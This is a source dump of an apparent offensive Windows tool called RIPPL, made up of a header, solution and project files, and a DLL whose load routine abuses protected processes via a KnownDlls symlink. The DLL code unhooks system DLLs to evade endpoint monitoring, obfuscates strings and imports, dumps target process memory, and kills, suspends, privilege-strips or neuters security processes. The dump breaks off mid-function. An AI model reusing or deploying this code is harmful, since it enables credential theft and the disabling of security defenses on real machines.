#define PRINTLASTERROR(str) PrintLastError(str) #define PRINTUSAGE() PrintUsage() #define PRINTARGUMENTS() PrintArguments() #define WPRINTF(...) wprintf(__VA_ARGS__) #define PRINTF(...) printf(__VA_ARGS__) #define ADVLOG 1 #else #define AUTHOR L"" #define VERSION L"" #define PRINTDEBUG(...) #define PRINTLASTERROR(str) #define PRINTUSAGE() #define PRINTARGUMENTS() #define WPRINTF(...) #endif #define AESKEY {0} #define IV {0} extern BOOL g_bDebug; extern BOOL g_bForce; extern DWORD g_dwProcessId; extern LPWSTR g_pwszDumpFilePath; extern LPWSTR g_pwszProcessName; extern LPWSTR g_pwszExecutionMode; extern int g_intExecutionMode; BOOL ParseArguments(int argc, wchar_t* argv[]); VOID PrintArguments(); VOID PrintUsage(); VOID PrintLastError(LPCWSTR pwszFunctionName); VOID PrintDebug(LPCWSTR pwszFormat, ...); BOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel); BOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel); BOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel); BOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId); HANDLE ObjectManagerCreateDirectory(LPCWSTR dirname); HANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname); BOOL TokenGetSid(HANDLE hToken, PSID* ppSid); BOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid); BOOL TokenCompareSids(PSID pSidA, PSID pSidB); BOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername); BOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege); BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted); BOOL MiscSystemArchIsAmd64(); BOOL MiscGenerateGuidString(LPWSTR* ppwszGuid); bool AESDecrypt(_Inout_ BYTE* payload, _In_ DWORD payload_len, _In_ BYTE* key, _In_ DWORD keylen, _In_ BYTE* iv, _In_ DWORD IVlength); bool UnhookDll(_In_ LPCWSTR lpszDllName); ================================================ FILE: RIPPL/winver.manifest ================================================ ================================================ FILE: RIPPL.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30907.101 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RIPPL", "RIPPL\RIPPL.vcxproj", "{FCE81BDA-ACAC-4892-969E-0414E765593B}" ProjectSection(ProjectDependencies) = postProject {6E8D2C12-255B-403C-9EF3-8A097D374DB2} = {6E8D2C12-255B-403C-9EF3-8A097D374DB2} EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RIPPLDLL", "RIPPLDLL\RIPPLDLL.vcxproj", "{6E8D2C12-255B-403C-9EF3-8A097D374DB2}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Folder", "Solution Folder", "{1202314C-D86A-4E1D-AC67-92AD9CF7B45A}" ProjectSection(SolutionItems) = preProject carboncopy.py = carboncopy.py DLL_encrypt.py = DLL_encrypt.py postbuild.bat = postbuild.bat README.md = README.md restore_headers.py = restore_headers.py EndProjectSection EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.ActiveCfg = Debug|x64 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.Build.0 = Debug|x64 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x86.ActiveCfg = Debug|Win32 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x86.Build.0 = Debug|Win32 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.ActiveCfg = Release|x64 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.Build.0 = Release|x64 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x86.ActiveCfg = Release|Win32 {FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x86.Build.0 = Release|Win32 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.ActiveCfg = Debug|x64 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.Build.0 = Debug|x64 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x86.ActiveCfg = Debug|Win32 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x86.Build.0 = Debug|Win32 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.ActiveCfg = Release|x64 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.Build.0 = Release|x64 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x86.ActiveCfg = Release|Win32 {6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {C27E5A8A-2C3F-4B24-92AE-7E0B29C0A16B} EndGlobalSection EndGlobal ================================================ FILE: RIPPLDLL/RIPPL.def ================================================ LIBRARY EXPORTS LogonUserExExW @1 BriCreateBrokeredEvent @2 BriDeleteBrokeredEvent @3 EaCreateAggregatedEvent @4 EACreateAggregateEvent @5 EaQueryAggregatedEventParameters @6 EAQueryAggregateEventData @7 EaFreeAggregatedEventParameters @8 EaDeleteAggregatedEvent @9 EADeleteAggregateEvent @10 ================================================ FILE: RIPPLDLL/RIPPLDLL.cpp ================================================ #include "dllexploit.h" // // Windows 8.1 -> SspiCli.dll // // 000000014005B1C8 LogonUserExExW SspiCli // extern "C" __declspec(dllexport) void APIENTRY LogonUserExExW(); // // Windows 10 -> EventAggregation.dll // // 0000000140083728 EaDeleteAggregatedEvent EventAggregation // 0000000140083730 BriCreateBrokeredEvent EventAggregation // 0000000140083738 EaCreateAggregatedEvent EventAggregation // 0000000140083740 BriDeleteBrokeredEvent EventAggregation // 0000000140083748 EACreateAggregateEvent EventAggregation // 0000000140083750 EaQueryAggregatedEventParameters EventAggregation // 0000000140083758 EaFreeAggregatedEventParameters EventAggregation // 0000000140083760 EADeleteAggregateEvent EventAggregation // 0000000140083768 EAQueryAggregateEventData EventAggregation // extern "C" __declspec(dllexport) void APIENTRY BriCreateBrokeredEvent(); extern "C" __declspec(dllexport) void APIENTRY BriDeleteBrokeredEvent(); extern "C" __declspec(dllexport) void APIENTRY EaCreateAggregatedEvent(); extern "C" __declspec(dllexport) void APIENTRY EACreateAggregateEvent(); extern "C" __declspec(dllexport) void APIENTRY EaQueryAggregatedEventParameters(); extern "C" __declspec(dllexport) void APIENTRY EAQueryAggregateEventData(); extern "C" __declspec(dllexport) void APIENTRY EaFreeAggregatedEventParameters(); extern "C" __declspec(dllexport) void APIENTRY EaDeleteAggregatedEvent(); extern "C" __declspec(dllexport) void APIENTRY EADeleteAggregateEvent(); HMODULE g_hInstance = NULL; HANDLE g_hConsoleOutput = NULL; DWORD g_dwProcessId = 0; DWORD g_dwParentPid = 0; LPWSTR g_pwszDumpFilePath = NULL; LPWSTR g_pwszGuid = NULL; BOOL g_bDebug = FALSE; int g_intExecutionMode = -1; BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DEBUGLOG(L"DLL main called with reason DLL_PROCESS_ATTACH!\n"); g_hInstance = hModule; if (g_bDebug) LOGTOCONSOLE(L"DllMain (process attach)\n"); DoStuff(); break; } case DLL_THREAD_ATTACH: { DEBUGLOG(L"DLL main called with reason DLL_THREAD_ATTACH!\n"); if (g_bDebug) LOGTOCONSOLE(L"DllMain (thread attach)\n"); break; } case DLL_THREAD_DETACH: { DEBUGLOG(L"DLL main called with reason DLL_THREAD_DETACH!\n"); if (g_bDebug) LOGTOCONSOLE(L"DllMain (thread detach)\n"); break; } case DLL_PROCESS_DETACH: { DEBUGLOG(L"DLL main called with reason DLL_PROCESS_DETACH!\n"); if (g_bDebug) LOGTOCONSOLE(L"DllMain (process detach)\n"); if (g_hConsoleOutput) FreeConsole(); break; } } return TRUE; } // // SspiCli.dll // void APIENTRY LogonUserExExW() { } // // EventAggregation.dll // void APIENTRY BriCreateBrokeredEvent() { } void APIENTRY BriDeleteBrokeredEvent() { } void APIENTRY EaCreateAggregatedEvent() { } void APIENTRY EACreateAggregateEvent() { } void APIENTRY EaQueryAggregatedEventParameters() { } void APIENTRY EAQueryAggregateEventData() { } void APIENTRY EaFreeAggregatedEventParameters() { } void APIENTRY EaDeleteAggregatedEvent() { } void APIENTRY EADeleteAggregateEvent() { } ================================================ FILE: RIPPLDLL/RIPPLDLL.vcxproj ================================================  Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {6e8d2c12-255b-403c-9ef3-8a097d374db2} RIPPLDLL 10.0 RIPPLDLL DynamicLibrary true v142 Unicode DynamicLibrary false v142 true Unicode DynamicLibrary true v142 Unicode DynamicLibrary false v142 true Unicode true false true false $(ProjectName)_unencrypted Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true ..\RIPPL Console true RIPPL.def Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true ..\RIPPL MultiThreaded Console true true false RIPPL.def Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true ..\RIPPL Console true RIPPL.def Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true ..\RIPPL MultiThreaded AnySuitable Speed Console true true false This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. ================================================ FILE: RIPPLDLL/RIPPLDLL.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Header Files Source Files ================================================ FILE: RIPPLDLL/dllexploit.cpp ================================================ #include "dllexploit.h" void DoStuff() { LPWSTR pwszDllName = NULL; BOOL bSuccess = FALSE; WCHAR wszEventName[MAX_PATH] = { 0 }; HANDLE hEvent = NULL; // // 1. Parse the command line // // Then, we can parse the command line to get the ID of the process to dump and the path of // the target dump file. // std::vector dllsToUnhook { skCrypt(L"ntdll.dll"), skCrypt(L"kernel32.dll"), skCrypt(L"kernelbase.dll") }; for (auto dll : dllsToUnhook) { if (!UnhookDll(dll)) { DEBUGLOG(L"Failed to unhook one of the DLLs"); return; } } ParseCommandLine(); if (g_bDebug) LOGTOCONSOLE(L"DEBUG mode enabled\n"); if (g_bDebug) LOGTOCONSOLE(L"PID=%d | File='%ws' | GUID='%ws'\n", g_dwProcessId, g_pwszDumpFilePath, g_pwszGuid); // // Signal first Event (DLL loaded) // StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DLL_LOADED"), g_pwszGuid); if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName)) { if (!SetEvent(hEvent)) LOGLASTERROR(L"SetEvent"); CloseHandle(hEvent); } else LOGLASTERROR(L"OpenEvent"); if (g_bDebug) LOGTOCONSOLE(L"[*] DLL loaded.\n"); // // 2. Do some cleanup // // First things first, we need to delete the symbolic link that was created in \KnownDlls. // As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it // should not be a problem. // if (!GetCurrentDllFileName(&pwszDllName)) goto end; if (!DeleteKnownDllEntry(pwszDllName)) LOGTOCONSOLE(L"[-] Failed to delete KnownDll entry '%ws'\n", pwszDllName); else { if (g_bDebug) LOGTOCONSOLE(L"[*] KnownDll entry '%ws' removed.\n", pwszDllName); } // // 3. Dump the memory of the target process // // Finally, dump the memmory of the target process using MiniDumpWriteDump. // switch (g_intExecutionMode) { case DUMP_MODE: { bSuccess = DumpProcessMemory(g_dwProcessId, g_pwszDumpFilePath); if (g_bDebug) LOGTOCONSOLE(L"%ws DumpProcessMemory: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case KILL_MODE: { bSuccess = KillProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws KillProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case SUSPEND_MODE: { bSuccess = SuspendProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws SuspendProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case RESUME_MODE: { bSuccess = ResumeProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws ResumeProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case JOB_KILL_MODE: { bSuccess = JobKillProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws JobKillProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case JOB_SUPPRESS_MODE: { bSuccess = JobSuppressProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws JobSuppressProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case SUICIDE_MODE: { bSuccess = SuicideProcess(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws SuicideProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case TOKEN_DOWNGRADE_MODE: { bSuccess = SandboxToken(g_dwProcessId); if (g_bDebug) LOGTOCONSOLE(L"%ws SuicideProcess: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } case DRIVER_UNLOAD_MODE: { bSuccess = DriverUnload(g_pwszDumpFilePath); if (g_bDebug) LOGTOCONSOLE(L"%ws DriverUnload: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE"); break; } default: { if (g_bDebug) LOGTOCONSOLE(L"[-] Invalid option passed to the DLL!\n"); goto end; } } if (bSuccess) { // // Signal second Event (dump success) // StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DUMP_SUCCESS"), g_pwszGuid); if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName)) { if (!SetEvent(hEvent)) LOGLASTERROR(L"SetEvent"); CloseHandle(hEvent); } else LOGLASTERROR(L"OpenEvent"); } end: if (pwszDllName) LocalFree(pwszDllName); } void LogToConsole(LPCWSTR pwszFormat, ...) { // // The process in which we load this DLL does not have a console so we need to attach to the // parent process' console. To do so, we can call AttachConsole with the g_dwParentPid value // which contains the PID of RIPPL.exe. Then, we can get the STDOUT handle. This handle is stored will be // stored as a global variable so we need to initialize it only once. // if (g_hConsoleOutput == NULL) { AttachConsole(g_dwParentPid); if (!(g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE))) return; } // // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use // the STDOUT handle we got previously. // DWORD dwOutputStringSize = 0; LPWSTR pwszOutputString = NULL; va_list va; size_t offset = 0; va_start(va, pwszFormat); if (g_bDebug) dwOutputStringSize += (DWORD)wcslen(L"[DEBUG] (DLL) ") * sizeof(WCHAR); else dwOutputStringSize += (DWORD)wcslen(L"(DLL) ") * sizeof(WCHAR); dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \0 pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize); if (pwszOutputString) { if (g_bDebug) StringCchPrintf(pwszOutputString, dwOutputStringSize, L"[DEBUG] (DLL) "); else StringCchPrintf(pwszOutputString, dwOutputStringSize, L"(DLL) "); if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset))) { StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va); WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL); } LocalFree(pwszOutputString); } va_end(va); } void LogLastError(LPCWSTR pwszFunctionName) { DWORD dwLastError = LI_FN(GetLastError)(); if (dwLastError != ERROR_SUCCESS) LOGTOCONSOLE(L"Function '%ws' returned error code %d - %ws\n", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage()); } BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName) { WCHAR wszDllPath[MAX_PATH]; LPWSTR pwszDllName = NULL; GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH); if (LI_FN(GetLastError)() == ERROR_SUCCESS) { pwszDllName = PathFindFileName(wszDllPath); *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR)); if (*ppwszDllName) { StringCchPrintfW(*ppwszDllName, 64, skCrypt(L"%ws"), pwszDllName); return TRUE; } } return FALSE; } BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName) { BOOL bReturnValue = FALSE; NTSTATUS status = 0; HANDLE hLink = NULL; LPWSTR pwszLinkPath = NULL; UNICODE_STRING name = { 0 }; OBJECT_ATTRIBUTES oa = { 0 }; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; // // Build the path of the symbolic link object to delete. The name of the DLL can be determined // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as // '\KnownDlls\DPAPI.dll'. // pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszLinkPath) goto end; StringCchPrintfW(pwszLinkPath, MAX_PATH, skCrypt(L"\\KnownDlls\\%ws"), pwszDllName); if (g_bDebug) LOGTOCONSOLE(L"Object to delete: %ws\n", pwszLinkPath); LI_FN(RtlInitUnicodeString)(&name, pwszLinkPath); InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr); // // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus // get an "Access denied" error. What we can do though is open the symbolic link object with // WRITE_DAC access in order to change the ACL of the object. // status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, WRITE_DAC, &oa); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { LOGLASTERROR(L"NtOpenSymbolicLinkObject"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath); // // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone // access to the object but that's not really an issue because we'll delete it right after. // InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); #pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE)) { LOGLASTERROR(L"SetSecurityDescriptorDacl"); } sa.nLength = sizeof(sa); sa.bInheritHandle = FALSE; sa.lpSecurityDescriptor = &sd; // // Apply the new Security Descriptor. // if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd)) { LOGLASTERROR(L"SetKernelObjectSecurity"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"SetKernelObjectSecurity OK\n"); // // At this point we can close the object handle because only the WRITE_DAC right is associated // to it. This handle will not allow us to delete the object. // status = LI_FN(NtClose)(hLink); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { LOGLASTERROR(L"NtClose"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"NtClose OK\n"); // // This time, we should be able to open the link object with DELETE access. // status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, DELETE, &oa); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { LOGLASTERROR(L"NtOpenSymbolicLinkObject"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath); // // Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When // an object does not have the "Permanent" flag enabled, it is automatically deleted when all // its handles are closed. // status = NtMakeTemporaryObject(hLink); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { LOGLASTERROR(L"NtMakeTemporaryObject"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"NtMakeTemporaryObject OK\n"); bReturnValue = status == STATUS_SUCCESS; // // We should be the only process to have an opened handle on this object. So, if we close it, // the link should be automatically deleted. // end: if (hLink) LI_FN(NtClose)(hLink); if (pwszLinkPath) LocalFree(pwszLinkPath); return bReturnValue; } BOOL ParseCommandLine() { LPWSTR pwszCommandLine = GetCommandLineW(); LPWSTR* argv = NULL; int argc = 0; int i = 0; argv = CommandLineToArgvW(pwszCommandLine, &argc); if (!argv) return FALSE; if (argc < 6) return FALSE; g_dwParentPid = wcstoul(argv[1], NULL, 10); g_dwProcessId = wcstoul(argv[2], NULL, 10); g_intExecutionMode = wcstoul(argv[3], NULL, 10); g_pwszDumpFilePath = argv[4]; g_pwszGuid = argv[5]; if (argc == 7) { if (_wcsicmp(argv[6], skCrypt(L"-d")) == 0) { g_bDebug = TRUE; } } return TRUE; } bool UnhookDll(_In_ LPCWSTR lpszDllName) { MODULEINFO mi = { 0 }; DWORD oldProtection = 0; LPVOID dllBase = nullptr; wil::unique_handle dllFile; wil::unique_handle dllMapping; wil::unique_hmodule dllModule; LPVOID dllMappingAddress = nullptr; PIMAGE_DOS_HEADER hookedDosHeader = nullptr; PIMAGE_NT_HEADERS hookedNtHeader = nullptr; PIMAGE_SECTION_HEADER hookedSectionHeader = nullptr; bool isProtected = false; wchar_t lpszDllPath[MAX_PATH + 1] = { 0 }; dllModule.reset(LI_FN(GetModuleHandleW)(lpszDllName)); if (!dllModule) { LOGLASTERROR(L"UnhookDll"); return false; } if (!LI_FN(GetModuleFileNameW)(dllModule.get(), lpszDllPath, MAX_PATH)) { LOGLASTERROR(L"UnhookDll - "); return false; } if (!LI_FN(K32GetModuleInformation)(LI_FN(GetCurrentProcess)(), dllModule.get(), &mi, (DWORD)sizeof(mi))) { LOGLASTERROR(L"UnhookDll - "); return false; } dllBase = (LPVOID)mi.lpBaseOfDll; if (!dllBase) { LOGLASTERROR(L"UnhookDll - "); return false; } dllFile.reset(CreateFileW(lpszDllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr)); if (!dllFile.is_valid()) { LOGLASTERROR(L"UnhookDll - "); return false; } dllMapping.reset(LI_FN(CreateFileMappingW)(dllFile.get(), nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr)); if (!dllMapping.is_valid()) { LOGLASTERROR(L"UnhookDll - "); return false; } dllMappingAddress = LI_FN(MapViewOfFile)(dllMapping.get(), FILE_MAP_READ, 0, 0, 0); if (!dllMappingAddress) { LOGLASTERROR(L"UnhookDll - "); return false; } hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase; hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (strcmp((char*)hookedSectionHeader->Name, skCrypt(".text")) == 0) { isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); DEBUGLOG(L"[+] Dll successfully unhooked!\n"); } } return true; } BOOL SetPrivilege(HANDLE token, std::wstring privilege, bool enabled) { TOKEN_PRIVILEGES tp{}; LUID luid; auto result = LookupPrivilegeValueW(NULL, privilege.c_str(), &luid); if (!result) { DEBUGLOG(L"[-] Privilege not held\n"); return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (enabled) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; result = AdjustTokenPrivileges(token, false, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); if (!result) { if (enabled) DEBUGLOG(L"[-] Couldn't enable the privilege in the token\n"); else DEBUGLOG(L"[-] Couldn't disable the privilege in the token\n"); return false; } else { if (enabled) DEBUGLOG(L"[+] Successfully enabled the privilege in the token\n"); else DEBUGLOG(L"[+] Successfully disabled the privilege in the token\n"); return true; } } BOOL SetIntegrity(HANDLE hToken, std::wstring integrityLevel) { TOKEN_MANDATORY_LABEL tml = { 0 }; tml.Label.Attributes = SE_GROUP_INTEGRITY; PSID sid = nullptr; auto success = ConvertStringSidToSidW(integrityLevel.c_str(), &sid); if (!success) { DEBUGLOG(L"[-] Couldn't convert provided SID to SID structure\n"); } tml.Label.Sid = sid; if (!SetTokenInformation(hToken, TokenIntegrityLevel, &tml, sizeof(tml))) { DEBUGLOG(L"[-] Couldn't set token information\n"); return false; } else return true; } BOOL SandboxToken(DWORD dwProcessId) { std::vector privs { skCrypt(L"SeAssignPrimaryTokenPrivilege"), skCrypt(L"SeBackupPrivilege"), skCrypt(L"SeDebugPrivilege"), skCrypt(L"SeChangeNotifyPrivilege"), skCrypt(L"SeImpersonatePrivilege"), skCrypt(L"SeIncreaseBasePriorityPrivilege"), skCrypt(L"SeIncreaseQuotaPrivilege"), skCrypt(L"SeLoadDriverPrivilege"), skCrypt(L"SeRestorePrivilege"), skCrypt(L"SeSecurityPrivilege"), skCrypt(L"SeShutdownPrivilege"), skCrypt(L"SeSystemEnvironmentPrivilege"), skCrypt(L"SeTakeOwnershipPrivilege"), skCrypt(L"SeTcbPrivilege") }; wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_QUERY_LIMITED_INFORMATION, false, dwProcessId)); if (!hProcess) { DEBUGLOG(L"[-] Failed to get a PROCESS_QUERY_LIMITED_INFORMATION handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); wil::unique_handle hToken; if (!OpenProcessToken(hProcess.get(), TOKEN_ALL_ACCESS, &hToken)) { DEBUGLOG(L"[-] Failed to obtain a handle to the process' token, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully obtained a handle to the token of the process\n"); for (auto priv : privs) { SetPrivilege(hToken.get(), priv, false); } if (!SetIntegrity(hToken.get(), L"S-1-16-0")) { DEBUGLOG(L"[-] Failed to downgrade the integrity of the token...\n"); return false; } return true; } BOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath) { BOOL bReturnValue = FALSE; BOOL bFileCreated = FALSE; HANDLE hFile = NULL; HANDLE hProcess = NULL; DWORD dwLastError = 0; hFile = LI_FN(CreateFileW)(pwszDumpFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (hFile == INVALID_HANDLE_VALUE) { LOGLASTERROR(L"CreateFile"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"CreateFile('%ws') OK\n", pwszDumpFilePath); bFileCreated = TRUE; // // The process handle used by MiniDumpWriteDump requires only the flags PROCESS_VM_READ and // PROCESS_QUERY_INFORMATION. // if (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessId))) { LOGLASTERROR(L"OpenProcess"); goto end; } if (g_bDebug) LOGTOCONSOLE(L"OpenProcess(%d) OK\n", dwProcessId); if (!(bReturnValue = MiniDumpWriteDump(hProcess, dwProcessId, hFile, MiniDumpWithFullMemory, nullptr, nullptr, nullptr))) { // // MiniDumpWriteDump sets the Last Error as a HRESULT, not a standard Win32 code... :/ // dwLastError = LI_FN(GetLastError)(); LOGTOCONSOLE(L"[-] MiniDumpWriteDump failed with error code 0x%08x (%ws)\n", dwLastError, _com_error(dwLastError).ErrorMessage()); goto end; } bReturnValue = TRUE; end: if (hFile && hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile); if (hProcess) CloseHandle(hProcess); if (!bReturnValue && bFileCreated) DeleteFile(pwszDumpFilePath); // If the dump failed, delete the file return bReturnValue; } BOOL KillProcess(DWORD dwProcessId) { wil::unique_handle 